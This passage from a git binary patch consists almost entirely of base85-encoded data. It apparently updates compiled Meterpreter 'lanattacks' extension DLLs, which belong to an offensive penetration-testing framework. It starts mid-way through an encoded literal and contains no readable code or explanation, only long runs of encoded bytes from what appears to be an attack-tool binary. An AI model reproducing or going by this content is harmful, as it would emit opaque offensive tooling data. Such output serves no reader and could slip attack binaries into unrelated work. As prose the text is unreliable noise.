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 diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll index 55e19e12510dc004f08f3f6e43684c7c5b67802c..b105769b130662aad10081a0046a8ccf2e008435 100755 GIT binary patch literal 228352 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 